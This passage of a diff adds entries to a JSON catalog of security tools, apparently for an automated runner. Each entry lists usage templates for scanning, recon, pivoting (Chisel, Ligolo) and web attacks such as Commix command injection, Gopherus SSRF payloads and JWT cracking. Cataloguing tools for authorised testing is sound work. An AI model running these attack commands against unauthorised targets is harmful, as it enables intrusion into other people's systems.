"Jadx", + "binary": "jadx", + "category": "mobile", + "description": "Dex-to-Java decompiler.", + "usage": "jadx -d out {target}", + "tags": [ + "android" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "jadx" + }, + "mcp": null + }, + { + "id": "mobsf", + "name": "MobSF", + "binary": "mobsf", + "category": "mobile", + "description": "Mobile security framework (run headless REST API).", + "usage": "docker run -p 8000:8000 opensecurity/mobile-security-framework-mobsf", + "tags": [ + "android", + "ios" + ], + "intrusive": false, + "requires_root": false, + "install": { + "docker": "opensecurity/mobile-security-framework-mobsf" + }, + "mcp": null + }, + { + "id": "objection", + "name": "Objection", + "binary": "objection", + "category": "mobile", + "description": "Frida-powered mobile runtime exploration.", + "usage": "objection -g {target} explore", + "tags": [ + "android", + "ios" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "objection" + }, + "mcp": null + }, + { + "id": "arp_scan", + "name": "arp-scan", + "binary": "arp-scan", + "category": "network", + "description": "ARP-based local network discovery.", + "usage": "arp-scan --localnet", + "tags": [ + "discovery" + ], + "intrusive": true, + "requires_root": true, + "install": { + "apt": "arp-scan" + }, + "mcp": null + }, + { + "id": "chisel", + "name": "Chisel", + "binary": "chisel", + "category": "network", + "description": "TCP/UDP tunnel over HTTP (pivoting).", + "usage": "chisel client {url} 8080:127.0.0.1:80", + "tags": [ + "pivot" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/jpillora/chisel" + }, + "mcp": null + }, + { + "id": "ligolo", + "name": "Ligolo-ng", + "binary": "ligolo-ng", + "category": "network", + "description": "TUN-based reverse tunneling for pivoting.", + "usage": "ligolo-ng -selfcert", + "tags": [ + "pivot" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/nicocha30/ligolo-ng" + }, + "mcp": null + }, + { + "id": "masscan", + "name": "Masscan", + "binary": "masscan", + "category": "network", + "description": "Internet-scale port scanner.", + "usage": "masscan -p1-65535 {host} --rate 1000", + "tags": [ + "port-scan" + ], + "intrusive": true, + "requires_root": true, + "install": { + "apt": "masscan" + }, + "mcp": null + }, + { + "id": "mtr", + "name": "mtr", + "binary": "mtr", + "category": "network", + "description": "Combined traceroute and ping.", + "usage": "mtr -rwzbc 10 {host}", + "tags": [ + "network" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "mtr" + }, + "mcp": null + }, + { + "id": "naabu", + "name": "Naabu", + "binary": "naabu", + "category": "network", + "description": "Fast port scanner with service detection.", + "usage": "naabu -host {host} -silent", + "tags": [ + "port-scan" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/projectdiscovery/naabu/v2/cmd/naabu" + }, + "mcp": null + }, + { + "id": "nbtscan", + "name": "NBTscan", + "binary": "nbtscan", + "category": "network", + "description": "NetBIOS name scanning.", + "usage": "nbtscan {host}/24", + "tags": [ + "netbios" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "nbtscan" + }, + "mcp": null + }, + { + "id": "netdiscover", + "name": "Netdiscover", + "binary": "netdiscover", + "category": "network", + "description": "ARP network discovery.", + "usage": "netdiscover -r {host}/24", + "tags": [ + "discovery" + ], + "intrusive": true, + "requires_root": true, + "install": { + "apt": "netdiscover" + }, + "mcp": null + }, + { + "id": "nmap", + "name": "Nmap", + "binary": "nmap", + "category": "network", + "description": "Port scanning, service/version and NSE scripts.", + "usage": "nmap -Pn -sV -sC {host}", + "tags": [ + "port-scan", + "service" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "nmap" + }, + "mcp": null + }, + { + "id": "nmap_nse", + "name": "Nmap NSE", + "binary": "nmap", + "category": "network", + "description": "Nmap scripting engine for service checks.", + "usage": "nmap --script vuln {host}", + "tags": [ + "nse" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "nmap" + }, + "mcp": null + }, + { + "id": "onesixtyone", + "name": "onesixtyone", + "binary": "onesixtyone", + "category": "network", + "description": "SNMP community-string scanner.", + "usage": "onesixtyone {host} public", + "tags": [ + "snmp" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "onesixtyone" + }, + "mcp": null + }, + { + "id": "proxychains", + "name": "ProxyChains", + "binary": "proxychains4", + "category": "network", + "description": "Force TCP through proxy chains.", + "usage": "proxychains4 nmap -sT -Pn {host}", + "tags": [ + "pivot" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "proxychains4" + }, + "mcp": null + }, + { + "id": "rpcclient", + "name": "rpcclient", + "binary": "rpcclient", + "category": "network", + "description": "SMB RPC enumeration.", + "usage": "rpcclient -U '' -N {host}", + "tags": [ + "smb", + "rpc" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "smbclient" + }, + "mcp": null + }, + { + "id": "rustscan", + "name": "RustScan", + "binary": "rustscan", + "category": "network", + "description": "Ultra-fast port discovery, hands off to Nmap.", + "usage": "rustscan -a {host} -- -sV", + "tags": [ + "port-scan" + ], + "intrusive": true, + "requires_root": false, + "install": { + "cargo": "rustscan" + }, + "mcp": null + }, + { + "id": "smbclient", + "name": "smbclient", + "binary": "smbclient", + "category": "network", + "description": "SMB/CIFS client for listing and transferring files.", + "usage": "smbclient -L //{host}/ -N", + "tags": [ + "smb" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "smbclient" + }, + "mcp": null + }, + { + "id": "smbmap", + "name": "SMBMap", + "binary": "smbmap", + "category": "network", + "description": "SMB share enumeration and permission mapping.", + "usage": "smbmap -H {host}", + "tags": [ + "smb" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "smbmap" + }, + "mcp": null + }, + { + "id": "snmpcheck", + "name": "snmpcheck", + "binary": "snmpcheck", + "category": "network", + "description": "SNMP information enumeration.", + "usage": "snmpcheck -t {host}", + "tags": [ + "snmp" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "snmpcheck" + }, + "mcp": null + }, + { + "id": "snmpwalk", + "name": "snmpwalk", + "binary": "snmpwalk", + "category": "network", + "description": "SNMP object-tree walk.", + "usage": "snmpwalk -v2c -c public {host}", + "tags": [ + "snmp" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "snmp" + }, + "mcp": null + }, + { + "id": "socat", + "name": "socat", + "binary": "socat", + "category": "network", + "description": "Multipurpose relay for pivoting and shells.", + "usage": "socat TCP-LISTEN:8080,fork TCP:{host}:80", + "tags": [ + "pivot" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "socat" + }, + "mcp": null + }, + { + "id": "ssh", + "name": "OpenSSH client", + "binary": "ssh", + "category": "network", + "description": "Remote shell over SSH.", + "usage": "ssh {user}@{host}", + "tags": [ + "ssh" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "openssh-client" + }, + "mcp": null + }, + { + "id": "sshpass", + "name": "sshpass", + "binary": "sshpass", + "category": "network", + "description": "Non-interactive SSH password auth.", + "usage": "sshpass -p {password} ssh {user}@{host}", + "tags": [ + "ssh" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "sshpass" + }, + "mcp": null + }, + { + "id": "traceroute", + "name": "traceroute", + "binary": "traceroute", + "category": "network", + "description": "Network path discovery.", + "usage": "traceroute {host}", + "tags": [ + "network" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "traceroute" + }, + "mcp": null + }, + { + "id": "xfreerdp", + "name": "FreeRDP", + "binary": "xfreerdp", + "category": "network", + "description": "RDP client (headless-capable).", + "usage": "xfreerdp /v:{host} /u:{user} /p:{password} /cert:ignore", + "tags": [ + "rdp" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "freerdp2-x11" + }, + "mcp": null + }, + { + "id": "zmap", + "name": "ZMap", + "binary": "zmap", + "category": "network", + "description": "Fast single-packet network scanner.", + "usage": "zmap -p 443 {host}", + "tags": [ + "port-scan" + ], + "intrusive": true, + "requires_root": true, + "install": { + "apt": "zmap" + }, + "mcp": null + }, + { + "id": "amass", + "name": "Amass", + "binary": "amass", + "category": "recon", + "description": "Attack-surface mapping and subdomain enumeration.", + "usage": "amass enum -passive -d {host}", + "tags": [ + "subdomain", + "osint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "amass", + "go": "github.com/owasp-amass/amass/v4/cmd/amass" + }, + "mcp": null + }, + { + "id": "amass_intel", + "name": "Amass Intel", + "binary": "amass", + "category": "recon", + "description": "OSINT intelligence gathering.", + "usage": "amass intel -d {host}", + "tags": [ + "osint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "amass" + }, + "mcp": null + }, + { + "id": "anew", + "name": "anew", + "binary": "anew", + "category": "recon", + "description": "Append only new lines to a file (pipeline helper).", + "usage": "cat urls.txt | anew all.txt", + "tags": [ + "utility" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/tomnomnom/anew" + }, + "mcp": null + }, + { + "id": "assetfinder", + "name": "Assetfinder", + "binary": "assetfinder", + "category": "recon", + "description": "Find domains and subdomains from public sources.", + "usage": "assetfinder --subs-only {host}", + "tags": [ + "subdomain" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/tomnomnom/assetfinder" + }, + "mcp": null + }, + { + "id": "crt_sh", + "name": "crt.sh", + "binary": "curl", + "category": "recon", + "description": "Certificate-transparency subdomain lookup (HTTP API).", + "usage": "curl -s 'https://crt.sh/?q=%25.{host}&output=json'", + "tags": [ + "subdomain", + "osint" + ], + "intrusive": false, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "dig", + "name": "dig", + "binary": "dig", + "category": "recon", + "description": "DNS query utility.", + "usage": "dig +short {host}", + "tags": [ + "dns" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "dnsutils" + }, + "mcp": null + }, + { + "id": "dnsenum", + "name": "DNSEnum", + "binary": "dnsenum", + "category": "recon", + "description": "DNS information gathering and zone-transfer checks.", + "usage": "dnsenum {host}", + "tags": [ + "dns" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "dnsenum" + }, + "mcp": null + }, + { + "id": "dnsrecon", + "name": "DNSRecon", + "binary": "dnsrecon", + "category": "recon", + "description": "DNS enumeration (records, zone transfer, brute force).", + "usage": "dnsrecon -d {host}", + "tags": [ + "dns" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "dnsrecon" + }, + "mcp": null + }, + { + "id": "dnsx", + "name": "dnsx", + "binary": "dnsx", + "category": "recon", + "description": "DNS toolkit: resolve, brute, wildcard and record queries.", + "usage": "dnsx -silent -a -resp -d {host}", + "tags": [ + "dns" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/projectdiscovery/dnsx/cmd/dnsx" + }, + "mcp": null + }, + { + "id": "fierce", + "name": "Fierce", + "binary": "fierce", + "category": "recon", + "description": "DNS reconnaissance and non-contiguous IP discovery.", + "usage": "fierce --domain {host}", + "tags": [ + "dns" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "fierce" + }, + "mcp": null + }, + { + "id": "findomain", + "name": "Findomain", + "binary": "findomain", + "category": "recon", + "description": "Fast subdomain enumerator combining multiple sources.", + "usage": "findomain -t {host} -q", + "tags": [ + "subdomain" + ], + "intrusive": false, + "requires_root": false, + "install": { + "cargo": "findomain" + }, + "mcp": null + }, + { + "id": "gau", + "name": "gau", + "binary": "gau", + "category": "recon", + "description": "Fetch known URLs from AlienVault, Wayback and Common Crawl.", + "usage": "echo {host} | gau --threads 20", + "tags": [ + "urls", + "wayback" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/lc/gau/v2/cmd/gau" + }, + "mcp": null + }, + { + "id": "gf", + "name": "gf", + "binary": "gf", + "category": "recon", + "description": "Grep patterns for URLs by vulnerability class.", + "usage": "cat urls.txt | gf sqli", + "tags": [ + "urls" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/tomnomnom/gf" + }, + "mcp": null + }, + { + "id": "gospider", + "name": "GoSpider", + "binary": "gospider", + "category": "recon", + "description": "Fast web spider with link and JS discovery.", + "usage": "gospider -s {target} -d 3 --robots", + "tags": [ + "crawl" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/jaeles-project/gospider" + }, + "mcp": null + }, + { + "id": "hakrawler", + "name": "Hakrawler", + "binary": "hakrawler", + "category": "recon", + "description": "Fast web crawler for URLs and JavaScript files.", + "usage": "echo {target} | hakrawler -d 3", + "tags": [ + "crawl" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/hakluke/hakrawler" + }, + "mcp": null + }, + { + "id": "host", + "name": "host", + "binary": "host", + "category": "recon", + "description": "Simple DNS lookup.", + "usage": "host {host}", + "tags": [ + "dns" + ], + "intrusive": false, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "katana", + "name": "Katana", + "binary": "katana", + "category": "recon", + "description": "Next-generation web crawler (JS-aware).", + "usage": "katana -u {target} -d 3 -jc -silent", + "tags": [ + "crawl" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/projectdiscovery/katana/cmd/katana" + }, + "mcp": null + }, + { + "id": "qsreplace", + "name": "qsreplace", + "binary": "qsreplace", + "category": "recon", + "description": "Replace query-string values for batch testing.", + "usage": "echo {target} | qsreplace", + "tags": [ + "urls" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/tomnomnom/qsreplace" + }, + "mcp": null + }, + { + "id": "reconng", + "name": "Recon-ng", + "binary": "recon-ng", + "category": "recon", + "description": "Modular OSINT/reconnaissance framework.", + "usage": "recon-ng -w recon", + "tags": [ + "osint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "recon-ng" + }, + "mcp": null + }, + { + "id": "spiderfoot", + "name": "SpiderFoot", + "binary": "sf.py", + "category": "recon", + "description": "Automated OSINT and attack-surface reconnaissance.", + "usage": "sf.py -s {host} -t all", + "tags": [ + "osint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "spiderfoot" + }, + "mcp": null + }, + { + "id": "subfinder", + "name": "Subfinder", + "binary": "subfinder", + "category": "recon", + "description": "Passive subdomain enumeration (ProjectDiscovery).", + "usage": "subfinder -silent -all -d {host}", + "tags": [ + "subdomain", + "osint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/projectdiscovery/subfinder/v2/cmd/subfinder" + }, + "mcp": null + }, + { + "id": "sublist3r", + "name": "Sublist3r", + "binary": "sublist3r", + "category": "recon", + "description": "Fast subdomain enumeration via search engines.", + "usage": "sublist3r -d {host}", + "tags": [ + "subdomain" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "sublist3r" + }, + "mcp": null + }, + { + "id": "thecrawl", + "name": "crawl", + "binary": "crawl", + "category": "recon", + "description": "A high-performance web crawler.", + "usage": "crawl {target}", + "tags": [ + "crawl" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/s0rg/crawley" + }, + "mcp": null + }, + { + "id": "theharvester", + "name": "theHarvester", + "binary": "theHarvester", + "category": "recon", + "description": "Emails, hosts, names and URLs from public sources.", + "usage": "theHarvester -d {host} -b all", + "tags": [ + "osint", + "email" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "theHarvester" + }, + "mcp": null + }, + { + "id": "unfurl", + "name": "Unfurl", + "binary": "unfurl", + "category": "recon", + "description": "Extract and analyze URLs from input.", + "usage": "echo {target} | unfurl keys", + "tags": [ + "urls" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/tomnomnom/unfurl" + }, + "mcp": null + }, + { + "id": "waybackpack", + "name": "Waybackpack", + "binary": "waybackpack", + "category": "recon", + "description": "Download the full Wayback Machine history of a URL.", + "usage": "waybackpack --list {target}", + "tags": [ + "urls", + "wayback" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "waybackpack" + }, + "mcp": null + }, + { + "id": "waybackurls", + "name": "WaybackURLs", + "binary": "waybackurls", + "category": "recon", + "description": "Fetch URLs from the Wayback Machine.", + "usage": "echo {host} | waybackurls", + "tags": [ + "urls", + "wayback" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/tomnomnom/waybackurls" + }, + "mcp": null + }, + { + "id": "waymore", + "name": "waymore", + "binary": "waymore", + "category": "recon", + "description": "Fetch URLs from many passive sources.", + "usage": "waymore -i {host} -mode U", + "tags": [ + "urls" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "waymore" + }, + "mcp": null + }, + { + "id": "whois", + "name": "whois", + "binary": "whois", + "category": "recon", + "description": "Domain/IP registration records.", + "usage": "whois {host}", + "tags": [ + "osint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "whois" + }, + "mcp": null + }, + { + "id": "jq", + "name": "jq", + "binary": "jq", + "category": "utility", + "description": "JSON processor.", + "usage": "jq . data.json", + "tags": [ + "json" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "jq" + }, + "mcp": null + }, + { + "id": "mitmproxy2swagger", + "name": "mitmproxy2swagger", + "binary": "mitmproxy2swagger", + "category": "utility", + "description": "Convert mitmproxy flows into OpenAPI.", + "usage": "mitmproxy2swagger -i flows -o spec.yaml", + "tags": [ + "api" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "mitmproxy2swagger" + }, + "mcp": null + }, + { + "id": "postman", + "name": "Postman CLI", + "binary": "newman", + "category": "utility", + "description": "Run Postman collections headlessly.", + "usage": "newman run collection.json", + "tags": [ + "api" + ], + "intrusive": false, + "requires_root": false, + "install": { + "npm": "newman" + }, + "mcp": null + }, + { + "id": "swagger_parser", + "name": "Swagger parser", + "binary": "swagger-cli", + "category": "utility", + "description": "Validate and bundle OpenAPI specs.", + "usage": "swagger-cli validate {target}", + "tags": [ + "api" + ], + "intrusive": false, + "requires_root": false, + "install": { + "npm": "@apidevtools/swagger-cli" + }, + "mcp": null + }, + { + "id": "yq", + "name": "yq", + "binary": "yq", + "category": "utility", + "description": "YAML/JSON processor.", + "usage": "yq . file.yaml", + "tags": [ + "yaml" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "yq" + }, + "mcp": null + }, + { + "id": "aquatone", + "name": "Aquatone", + "binary": "aquatone", + "category": "web", + "description": "Visual inspection of HTTP attack surface.", + "usage": "cat hosts.txt | aquatone", + "tags": [ + "screenshot" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/michenriksen/aquatone" + }, + "mcp": null + }, + { + "id": "arjun", + "name": "Arjun", + "binary": "arjun", + "category": "web", + "description": "HTTP parameter discovery.", + "usage": "arjun -u {target} -m GET,POST", + "tags": [ + "params" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "arjun" + }, + "mcp": null + }, + { + "id": "clairvoyance", + "name": "Clairvoyance", + "binary": "clairvoyance", + "category": "web", + "description": "GraphQL schema extraction with introspection disabled.", + "usage": "clairvoyance {target}/graphql -o schema.json", + "tags": [ + "graphql" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "clairvoyance" + }, + "mcp": null + }, + { + "id": "commix", + "name": "Commix", + "binary": "commix", + "category": "web", + "description": "Command injection detection and exploitation.", + "usage": "commix --url={target} --batch", + "tags": [ + "cmdi" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "commix" + }, + "mcp": null + }, + { + "id": "cors_scanner", + "name": "Cors_Scanner", + "binary": "cors_scan", + "category": "web", + "description": "CORS misconfiguration scanner.", + "usage": "cors_scan -u {target}", + "tags": [ + "cors" + ], + "intrusive": true, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "corsy", + "name": "CORSy", + "binary": "corsy", + "category": "web", + "description": "CORS misconfiguration scanner.", + "usage": "corsy -u {target}", + "tags": [ + "cors" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "corsy" + }, + "mcp": null + }, + { + "id": "crlfuzz", + "name": "crlfuzz", + "binary": "crlfuzz", + "category": "web", + "description": "CRLF injection scanner.", + "usage": "crlfuzz -u {target}", + "tags": [ + "crlf" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/dwisiswant0/crlfuzz/cmd/crlfuzz" + }, + "mcp": null + }, + { + "id": "curl", + "name": "curl", + "binary": "curl", + "category": "web", + "description": "Raw HTTP client (always available).", + "usage": "curl -isk {target}", + "tags": [ + "http" + ], + "intrusive": false, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "dalfox", + "name": "Dalfox", + "binary": "dalfox", + "category": "web", + "description": "XSS scanner and parameter analyzer.", + "usage": "dalfox url {target} --silence", + "tags": [ + "xss" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/hahwul/dalfox/v2" + }, + "mcp": null + }, + { + "id": "dirb", + "name": "DIRB", + "binary": "dirb", + "category": "web", + "description": "Classic content scanner.", + "usage": "dirb {target} wordlist.txt", + "tags": [ + "fuzz" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "dirb" + }, + "mcp": null + }, + { + "id": "dirsearch", + "name": "dirsearch", + "binary": "dirsearch", + "category": "web", + "description": "Web path discovery.", + "usage": "dirsearch -u {target} -w wordlist.txt", + "tags": [ + "fuzz" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "dirsearch" + }, + "mcp": null + }, + { + "id": "droopescan", + "name": "Droopescan", + "binary": "droopescan", + "category": "web", + "description": "Scan Drupal, Joomla, SilverStripe and WordPress.", + "usage": "droopescan scan drupal -u {target}", + "tags": [ + "cms" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "droopescan" + }, + "mcp": null + }, + { + "id": "eyewitness", + "name": "EyeWitness", + "binary": "eyewitness", + "category": "web", + "description": "Website screenshot and header capture.", + "usage": "eyewitness --web -f urls.txt", + "tags": [ + "screenshot" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "eyewitness" + }, + "mcp": null + }, + { + "id": "feroxbuster", + "name": "Feroxbuster", + "binary": "feroxbuster", + "category": "web", + "description": "Recursive content discovery.", + "usage": "feroxbuster -u {target} -w wordlist.txt -q", + "tags": [ + "fuzz" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "feroxbuster" + }, + "mcp": null + }, + { + "id": "ffuf", + "name": "ffuf", + "binary": "ffuf", + "category": "web", + "description": "Fast web fuzzer for content, parameters and vhosts.", + "usage": "ffuf -u {target}/FUZZ -w wordlist.txt -mc 200,301,302,403", + "tags": [ + "fuzz" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/ffuf/ffuf/v2" + }, + "mcp": null + }, + { + "id": "git_dumper", + "name": "git-dumper", + "binary": "git-dumper", + "category": "web", + "description": "Extract exposed .git repositories.", + "usage": "git-dumper {target}/.git ./dump", + "tags": [ + "git" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "git-dumper" + }, + "mcp": null + }, + { + "id": "gitjacker", + "name": "gitjacker", + "binary": "gitjacker", + "category": "web", + "description": "Find and download exposed .git repos.", + "usage": "gitjacker {target}", + "tags": [ + "git" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/liamg/gitjacker" + }, + "mcp": null + }, + { + "id": "gitleaks", + "name": "Gitleaks", + "binary": "gitleaks", + "category": "web", + "description": "Detect hardcoded secrets in repos/files.", + "usage": "gitleaks detect --source {target}", + "tags": [ + "secrets" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/gitleaks/gitleaks/v8" + }, + "mcp": null + }, + { + "id": "gobuster", + "name": "Gobuster", + "binary": "gobuster", + "category": "web", + "description": "Directory/DNS/vhost brute forcing.", + "usage": "gobuster dir -u {target} -w wordlist.txt", + "tags": [ + "fuzz" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "gobuster" + }, + "mcp": null + }, + { + "id": "gopherus", + "name": "Gopherus", + "binary": "gopherus", + "category": "web", + "description": "Generate gopher payloads for SSRF exploitation.", + "usage": "gopherus --exploit mysql", + "tags": [ + "ssrf" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "gopherus" + }, + "mcp": null + }, + { + "id": "gowitness", + "name": "gowitness", + "binary": "gowitness", + "category": "web", + "description": "Web screenshot and evidence capture.", + "usage": "gowitness scan single --url {target}", + "tags": [ + "screenshot" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/sensepost/gowitness" + }, + "mcp": null + }, + { + "id": "graphql_cop", + "name": "GraphQL Cop", + "binary": "graphql-cop", + "category": "web", + "description": "GraphQL security audit.", + "usage": "graphql-cop -t {target}/graphql", + "tags": [ + "graphql" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "graphql-cop" + }, + "mcp": null + }, + { + "id": "graphw00f", + "name": "graphw00f", + "binary": "graphw00f", + "category": "web", + "description": "GraphQL endpoint fingerprinting.", + "usage": "graphw00f -t {target}", + "tags": [ + "graphql" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "graphw00f" + }, + "mcp": null + }, + { + "id": "grpcurl", + "name": "grpcurl", + "binary": "grpcurl", + "category": "web", + "description": "gRPC reflection client.", + "usage": "grpcurl -plaintext {host}:50051 list", + "tags": [ + "grpc" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "grpcurl" + }, + "mcp": null + }, + { + "id": "h2csmuggler", + "name": "h2cSmuggler", + "binary": "h2csmuggler", + "category": "web", + "description": "HTTP/2 cleartext smuggling.", + "usage": "h2csmuggler -x {target}", + "tags": [ + "smuggling" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "h2csmuggler" + }, + "mcp": null + }, + { + "id": "httpie", + "name": "HTTPie", + "binary": "http", + "category": "web", + "description": "Readable HTTP client for API testing.", + "usage": "http GET {target}", + "tags": [ + "http" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "httpie" + }, + "mcp": null + }, + { + "id": "httprobe", + "name": "httprobe", + "binary": "httprobe", + "category": "web", + "description": "Probe a list of hosts for live HTTP/HTTPS.", + "usage": "cat hosts.txt | httprobe", + "tags": [ + "fingerprint" + ], + "intrusive": false, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "httpx", + "name": "httpx", + "binary": "httpx", + "category": "web", + "description": "Fast HTTP probing: status, title, tech, CDN, screenshots.", + "usage": "httpx -u {target} -status-code -title -tech-detect -silent", + "tags": [ + "fingerprint" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/projectdiscovery/httpx/cmd/httpx" + }, + "mcp": null + }, + { + "id": "jaeles", + "name": "Jaeles", + "binary": "jaeles", + "category": "web", + "description": "Signature-based web vulnerability scanner.", + "usage": "jaeles scan -s {target}", + "tags": [ + "scanner" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/jaeles-project/jaeles" + }, + "mcp": null + }, + { + "id": "joomscan", + "name": "JoomScan", + "binary": "joomscan", + "category": "web", + "description": "Joomla vulnerability scanner.", + "usage": "joomscan --url {target}", + "tags": [ + "cms" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "joomscan" + }, + "mcp": null + }, + { + "id": "jwt_cracker", + "name": "JWT Cracker", + "binary": "jwtcrack", + "category": "web", + "description": "Crack weak JWT HMAC secrets.", + "usage": "jwtcrack ", + "tags": [ + "jwt" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "jwt" + }, + "mcp": null + }, + { + "id": "jwt_tool", + "name": "jwt_tool", + "binary": "jwt_tool", + "category": "web", + "description": "JWT analysis, tampering and known attacks.", + "usage": "jwt_tool ", + "tags": [ + "jwt" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "jwt-tool" + }, + "mcp": null + }, + { + "id": "kiterunner", + "name": "Kiterunner", + "binary": "kr", + "category": "web", + "description": "API endpoint brute forcing.", + "usage": "kr scan {target} -w routes.kite", + "tags": [ + "api", + "fuzz" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/assetnote/kiterunner/cmd/kr" + }, + "mcp": null + }, + { + "id": "linkfinder", + "name": "LinkFinder", + "binary": "linkfinder", + "category": "web", + "description": "Extract endpoints from JavaScript files.", + "usage": "linkfinder -i {target} -o cli", + "tags": [ + "js" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "linkfinder" + }, + "mcp": null + }, + { + "id": "mitmdump", + "name": "mitmdump", + "binary": "mitmdump", + "category": "web", + "description": "Non-interactive mitmproxy (record/replay).", + "usage": "mitmdump -p 8080 -w flows.mitm", + "tags": [ + "proxy" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "mitmproxy" + }, + "mcp": null + }, + { + "id": "mitmproxy", + "name": "mitmproxy", + "binary": "mitmproxy", + "category": "web", + "description": "Interactive HTTPS intercepting proxy.", + "usage": "mitmproxy -p 8080", + "tags": [ + "proxy" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "mitmproxy" + }, + "mcp": null + }, + { + "id": "nikto", + "name": "Nikto", + "binary": "nikto", + "category": "web", + "description": "Web server misconfiguration and dangerous-file scanner.", + "usage": "nikto -host {target}", + "tags": [ + "scanner" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "nikto" + }, + "mcp": null + }, + { + "id": "nosqlmap", + "name": "NoSQLMap", + "binary": "nosqlmap", + "category": "web", + "description": "NoSQL injection and database takeover.", + "usage": "nosqlmap -u {target}", + "tags": [ + "nosqli" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "nosqlmap" + }, + "mcp": null + }, + { + "id": "nuclei", + "name": "Nuclei", + "binary": "nuclei", + "category": "web", + "description": "Template-based vulnerability scanner.", + "usage": "nuclei -u {target} -severity critical,high,medium -silent -nc", + "tags": [ + "scanner" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/projectdiscovery/nuclei/v3/cmd/nuclei" + }, + "mcp": null + }, + { + "id": "nuclei_templates", + "name": "Nuclei Templates", + "binary": "nuclei", + "category": "web", + 